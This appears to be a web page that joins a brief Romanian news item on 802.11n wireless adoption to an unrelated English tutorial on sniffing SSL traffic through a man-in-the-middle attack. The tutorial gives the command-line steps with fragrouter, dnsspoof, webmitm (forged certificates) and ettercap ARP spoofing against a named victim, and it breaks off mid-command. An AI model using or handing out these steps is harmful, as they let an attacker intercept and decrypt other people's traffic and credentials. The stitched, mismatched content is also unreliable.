Adoptarea 802.11n va declansa noi tendinte in 2008

In 2008 retelele wireless pentru companii se vor re-inventa, cel putin pentru cele care mobilitatea este o necesitate, nu doar o solutie la moda.Schimbarile sunt produse de disponibilitatea echipamentelor pentru WLAN bazate pe prototipul al doilea al standardului IEEE 802.11n. Ele pot furniza rate de transfer a datelor de 300Mbps, cu viteze uzuale intre 150 si 180Mbps.Diferentele fata de solutiile conventionale, cu viteze maxime de 54Mbps si rate de transfer efective la jumatate, sunt substantiale, multe companii fiind dispuse sa plateasca in plus pentru astfel de echipamente si sa le foloseasca desi nu sunt pe deplin standardizate, bazandu-se pe premisa ca eventualele neconcordante fata de versiunea finala a 802.11n vor fi corectate prin actualizari de software.Un sondaj efectuat de Colubirs (o companie care comecializeaza astfel de echipamente) in vara anului curent pe 195 de profesionisti IT a aratat ca 44% dintre ei intentioneaza sa faca implementari bazate pe 11n, peste o treime fiind de parere ca ar putea inlocui chiar reteaua cablata pentru conectivitatea cu clientii.Pe langa vitezele de transfer superioare sunt importante si stabilitatea si consistenta conexiunilor, realizate prin tehnlogia antenelor multiple denumita MIMO.Sursa: IDG

Sniffing SSL traffic using MITM attack / ettercap, fragrouter, webmitm and dnsspoof.

Before reading on this guide is for educational purposes only. I take no responsibility from what people do with this info. First thing is to get fragrouter. I don't know if you can use other tools provided with the backtrack, there are 100 ways to skin a cat and this is just my way. http://packetstormsecurity.nl/UNIX/IDS/nidsbench/fragrouter.html There are lots of things that you can do with fragrouter but we are going to use fragrouter to setup IP forwarding. We do this with this command : Code: fragrouter -B1Squash that window and put it to one side. Now open another shell and we will start dnsspoof with this command Code: dnsspoof -i ath0 (or whatever network interface you are using)Again put that window to one side and lets load up webmitm. Webmitm will issue our ssl cert to the victim so we can decrypt the traffic we capture. Start webmitm by typing Code: webmitm -dNow we can start the arp spoof. To start ettercap type Code: ettercap -T -M arp:remote /router addy/ /victim a...
